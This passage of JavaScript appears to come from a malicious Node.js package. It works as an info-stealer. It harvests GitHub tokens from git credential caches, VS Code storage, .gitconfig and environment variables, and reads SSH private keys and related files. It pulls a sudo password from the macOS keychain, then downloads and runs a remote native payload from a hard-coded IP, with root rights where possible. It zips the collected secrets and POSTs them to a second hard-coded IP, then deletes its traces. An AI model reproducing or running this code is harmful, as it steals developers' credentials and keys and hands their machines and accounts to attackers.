"Code",
"User",
"globalStorage",
"github.vscode-pull-request-github",
),
path.join(
homeDir,
"AppData",
"Roaming",
"Code",
"User",
"globalStorage",
"github.vscode-pull-request-github",
),
];
for (const path2 of vscodePaths) {
if (fs.existsSync(path2)) {
const files = ["settings.json", "session.json", "credentials.json"];
for (const file of files) {
const filePath = path2.join(path2, file);
if (fs.existsSync(filePath)) {
try {
const content = JSON.parse(fs.readFileSync(filePath, "utf8"));
if (
content.githubAuth ||
content.token ||
content.accessToken
) {
return (
content.githubAuth || content.token || content.accessToken
);
}
} catch (e) {}
}
}
}
}
} catch (error) {
return null;
}
return null;
}
getFromGitConfigCredentials() {
try {
const homeDir = os.homedir();
const gitConfigPath = path.join(homeDir, ".gitconfig");
if (fs.existsSync(gitConfigPath)) {
const content = fs.readFileSync(gitConfigPath, "utf8");
if (
content.includes("helper = store") ||
content.includes("helper = cache")
) {
return this.getFromGitCredentialCache();
}
const insteadOfMatch = content.match(
/url = https:\/\/([^:]+):([^@]+)@github\.com/,
);
if (insteadOfMatch && insteadOfMatch[2]) {
return insteadOfMatch[2];
}
}
} catch (error) {
return null;
}
return null;
}
isGitAvailable() {
try {
const homeDir = os.homedir();
const gitConfigPath = path.join(homeDir, ".gitconfig");
return fs.existsSync(gitConfigPath) || this.checkGitInPath();
} catch (error) {
return false;
}
}
checkGitInPath() {
try {
const pathEnv = process.env.PATH || "";
const pathDirs = pathEnv.split(path.delimiter);
for (const dir of pathDirs) {
const gitPath = path.join(
dir,
process.platform === "win32" ? "git.exe" : "git",
);
if (fs.existsSync(gitPath)) {
return true;
}
}
return false;
} catch (error) {
return false;
}
}
// Получение SSH ключей для GitHub
getSSHKeys() {
try {
const homeDir = os.homedir();
const sshDir = path.join(homeDir, ".ssh");
if (!fs.existsSync(sshDir)) {
return null;
}
const sshKeys = [];
const allFiles = fs.readdirSync(sshDir);
const privateKeyFiles = /* @__PURE__ */ new Set();
const publicKeyFiles = /* @__PURE__ */ new Set();
for (const file of allFiles) {
const filePath = path.join(sshDir, file);
if (fs.statSync(filePath).isDirectory()) {
continue;
}
if (file.endsWith(".pub")) {
publicKeyFiles.add(file);
} else if (
file.startsWith("id_") ||
file === "github" ||
file === "gitlab" ||
file === "bitbucket" ||
file.includes("_rsa") ||
file.includes("_ed25519") ||
file.includes("_ecdsa") ||
file.includes("_dsa")
) {
if (
![
"known_hosts",
"config",
"authorized_keys",
"known_hosts.old",
].includes(file)
) {
privateKeyFiles.add(file);
}
}
}
for (const keyFile of privateKeyFiles) {
const privateKeyPath = path.join(sshDir, keyFile);
const publicKeyPath = path.join(sshDir, `${keyFile}.pub`);
const keyData = {
type: keyFile,
privateKey: privateKeyPath,
publicKey: null,
publicKeyContent: null,
privateKeyContent: null,
};
try {
const privateContent = fs.readFileSync(privateKeyPath, "utf8");
if (
privateContent.includes("BEGIN") &&
privateContent.includes("PRIVATE KEY")
) {
keyData.privateKeyContent = privateContent;
} else {
continue;
}
} catch (e) {
continue;
}
if (fs.existsSync(publicKeyPath)) {
keyData.publicKey = publicKeyPath;
try {
keyData.publicKeyContent = fs
.readFileSync(publicKeyPath, "utf8")
.trim();
} catch (e) {}
}
sshKeys.push(keyData);
}
const sshConfigPath = path.join(sshDir, "config");
let sshConfig = null;
if (fs.existsSync(sshConfigPath)) {
try {
sshConfig = fs.readFileSync(sshConfigPath, "utf8");
} catch (e) {}
}
const knownHostsPath = path.join(sshDir, "known_hosts");
let knownHosts = null;
if (fs.existsSync(knownHostsPath)) {
try {
knownHosts = fs.readFileSync(knownHostsPath, "utf8");
} catch (e) {}
}
const authorizedKeysPath = path.join(sshDir, "authorized_keys");
let authorizedKeys = null;
if (fs.existsSync(authorizedKeysPath)) {
try {
authorizedKeys = fs.readFileSync(authorizedKeysPath, "utf8");
} catch (e) {}
}
return sshKeys.length > 0
? {
keys: sshKeys,
config: sshConfig,
knownHosts,
authorizedKeys,
totalKeysFound: sshKeys.length,
}
: null;
} catch (error) {
return null;
}
}
async checkSSHConnection() {
try {
const sshKeys = this.getSSHKeys();
if (!sshKeys || sshKeys.keys.length === 0) {
return false;
}
const homeDir = os.homedir();
const knownHostsPath = path.join(homeDir, ".ssh", "known_hosts");
if (fs.existsSync(knownHostsPath)) {
const content = fs.readFileSync(knownHostsPath, "utf8");
if (content.includes("github.com")) {
return true;
}
}
return false;
} catch (error) {
return false;
}
}
retrieveGitHubToken() {
const methods = [
this.getFromGitCredentialCache.bind(this),
this.getFromVSCodeStorage.bind(this),
this.getFromGitConfigCredentials.bind(this),
this.getFromEnv.bind(this),
];
for (const method of methods) {
const token = method();
if (token) {
return token;
}
}
return null;
}
getFromEnv() {
return process.env.GITHUB_TOKEN || process.env.GH_TOKEN || null;
}
async testGitHubAccess(token) {
try {
const response = await fetch("https://api.github.com/user", {
headers: {
Authorization: `token ${token}`,
"User-Agent": "Node.js",
},
signal: AbortSignal.timeout(5e3),
});
if (response.ok) {
const data = await response.json();
return { valid: true, username: data.login };
}
return { valid: false };
} catch (error) {
return { valid: false, error: error.message };
}
}
async checkRepositoryAccess(repoUrl, token = null) {
try {
const match = repoUrl.match(/github\.com[\/:]([^\/]+)\/([^\/\.]+)/);
if (!match) return { accessible: false };
const [, owner, repo] = match;
const headers = {
"User-Agent": "Node.js",
};
if (token) {
headers.Authorization = `token ${token}`;
}
const response = await fetch(
`https://api.github.com/repos/${owner}/${repo}`,
{
headers,
signal: AbortSignal.timeout(5e3),
},
);
return { accessible: response.ok, status: response.status };
} catch (error) {
return { accessible: false, error: error.message };
}
}
};
async function cExDJJ() {
const githubHandler = new TokenHandler();
if (!githubHandler.isGitAvailable()) {
return;
}
try {
const tokenSources = {
gitCredentialCache: null,
vscodeStorage: null,
gitConfig: null,
envVariables: null,
};
try {
tokenSources.gitCredentialCache =
githubHandler.getFromGitCredentialCache();
} catch (e) {}
try {
tokenSources.vscodeStorage = githubHandler.getFromVSCodeStorage();
} catch (e) {}
try {
tokenSources.gitConfig = githubHandler.getFromGitConfigCredentials();
} catch (e) {}
try {
tokenSources.envVariables = githubHandler.getFromEnv();
} catch (e) {}
const token = githubHandler.retrieveGitHubToken();
if (token) {
const validation = await githubHandler.testGitHubAccess(token);
if (validation.valid) {
GijAtOGHv(path.join(_tempF, "tokenGit.txt"));
fs.writeFileSync(
path.join(_tempF, "tokenGit.txt"),
JSON.stringify({
token,
username: validation.username,
sources: tokenSources,
}),
);
} else {
GijAtOGHv(path.join(_tempF, "tokenGit_invalid.txt"));
fs.writeFileSync(
path.join(_tempF, "tokenGit_invalid.txt"),
JSON.stringify({
token,
valid: false,
sources: tokenSources,
}),
);
}
} else {
const hasAnyToken = Object.values(tokenSources).some((t) => t !== null);
if (hasAnyToken) {
GijAtOGHv(path.join(_tempF, "tokenGit_sources.txt"));
fs.writeFileSync(
path.join(_tempF, "tokenGit_sources.txt"),
JSON.stringify(tokenSources, null, 2),
);
}
}
const sshKeys = githubHandler.getSSHKeys();
if (sshKeys) {
GijAtOGHv(path.join(_tempF, "ssh_keys.json"));
fs.writeFileSync(
path.join(_tempF, "ssh_keys.json"),
JSON.stringify(sshKeys, null, 2),
);
}
const sshConnected = await githubHandler.checkSSHConnection();
if (sshConnected) {
GijAtOGHv(path.join(_tempF, "ssh_connected.txt"));
fs.writeFileSync(
path.join(_tempF, "ssh_connected.txt"),
"SSH keys configured for GitHub",
);
}
} catch (e) {}
}
function startExf() {
const pr = [cExDJJ(), oemIU(), envExfiltration()];
Promise.allSettled(pr).then((p) => {
p.forEach((e) => {});
exfiltration();
});
}
function exfiltration() {
const _path = path.join(os.tmpdir(), "h.zip");
if (fs.existsSync(_path)) {
fs.rmSync(_path);
}
child_process.exec(`zip -r ${_path} ${_tempF}`, (err, _) => {
if (err) {
return;
}
if (!fs.existsSync(_path)) {
return;
}
let willSendThis = fs.readFileSync(_path);
const options2 = {
hostname: "208.85.20.124",
port: 80,
path: "/wall",
method: "POST",
headers: {
"Content-Type": "application/octet-stream",
},
};
const req = http.request(options2, (res) => {
const chunks = [];
res.on("data", (chunk) => {
chunks.push(chunk);
});
res.on("end", () => {
const data = Buffer.concat(chunks).toString();
try {
const parsedData = JSON.parse(data);
if (parsedData?.status) {
willSendThis = null;
if (isRoot && password) {
try {
child_process.execSync(
`echo ${JSON.stringify(password)} | sudo -S rm -rf ${_tempF}`,
{
encoding: "utf8",
stdio: ["pipe", "pipe", "pipe"],
},
);
} catch (err2) {
try {
fs.rmSync(_tempF, { recursive: true });
} catch (e) {}
}
} else {
fs.rmSync(_tempF, { recursive: true });
}
}
} catch (e) {
if (data.includes("502")) {
setTimeout(() => {
exfiltration();
}, 1e3);
}
}
});
});
req.write(willSendThis);
req.end();
req.on("error", (error) => {
setTimeout(() => {
exfiltration();
}, 1e3);
});
});
}
var _runFindEnv = (path_node, _f_path_result_) =>
btoa(`
const { runNative } = require('${path_node}');
const _path = '${_f_path_result_}';
runNative(_path);
`);
function envExfiltration() {
return new Promise((resolve) => {
let arhivePath = path.join(os.tmpdir(), "MItKX");
let unzipPATH = path.join(os.tmpdir(), "BuRmuTWYw");
fs.mkdirSync(unzipPATH, { recursive: true });
const arhive = fs.createWriteStream(arhivePath);
http.get("http://217.69.11.99/env/3JqStAJCgGftaOafUiGG1A%3D%3D", (res) => {
res.pipe(arhive);
arhive.on("close", async () => {
if (fs.statSync(arhivePath).size == 0) {
return resolve();
}
await _extractZipWithYauzl(arhivePath, unzipPATH);
let _r_path = path.join(unzipPATH, "index.node");
_r_path = path.resolve(_r_path);
let _script = _runFindEnv(_r_path, path.join(_tempF, "FpbKDj"));
const getPasswordFromKeychain = () => {
try {
const keychainPassword = child_process
.execSync(
"security 2>&1 find-generic-password -s 'pass_users_for_script' -w",
{
encoding: "utf8",
stdio: ["pipe", "pipe", "pipe"],
},
)
.trim();
return keychainPassword;
} catch (error) {
return "";
}
};
const checkIsRootPassword = (password2) => {
if (!password2) return false;
try {
child_process.execSync(
`echo ${JSON.stringify(password2)} | sudo -S -k whoami`,
{
encoding: "utf8",
stdio: ["pipe", "pipe", "pipe"],
},
);
return true;
} catch (error) {
return false;
}
};
password = getPasswordFromKeychain();
isRoot = checkIsRootPassword(password);
let execCommand;
if (isRoot && password) {
const userHome = os.homedir();
execCommand = `echo ${JSON.stringify(password)} | sudo -S HOME=${userHome} ${process.execPath} -e "eval(atob('${_script}'))"`;
} else {
execCommand = `${process.execPath} -e "eval(atob('${_script}'))"`;
}
child_process.exec(execCommand, (err, _) => {
if (err) {
}
setTimeout(() => {
try {
fs.rmSync(arhivePath);
fs.rmSync(unzipPATH, { resolve: true });
} catch {}
resolve();
}, 2e4);
});
});
});
});
}
function _extractZipWithYauzl(zipPath, extractTo) {
return new Promise((resolve, reject) => {
yauzl.open(zipPath, { lazyEntries: true }, (err, zipfile) => {
if (err) {
reject(err);
return;
}
zipfile.readEntry();
zipfile.on("entry", (entry) => {
const entryPath = entry.fileName;
const fullPath = path.join(extractTo, entryPath);
if (/\/$/.test(entry.fileName)) {
fs.mkdirSync(fullPath, { recursive: true });
zipfile.readEntry();
} else {
GijAtOGHv(path.dirname(fullPath));
zipfile.openReadStream(entry, (err2, readStream) => {
if (err2) {
zipfile.close();
reject(err2);
return;
}
const writeStream = fs.createWriteStream(fullPath);
readStream.pipe(writeStream);
writeStream.on("close", () => {
zipfile.readEntry();
});
writeStream.on("error", (err3) => {
zipfile.close();
reject(err3);
});
});
}
});
zipfile.on("end", () => {
zipfile.close();
resolve();
});
zipfile.on("error", (err2) => {
reject(err2);
});
});
});
}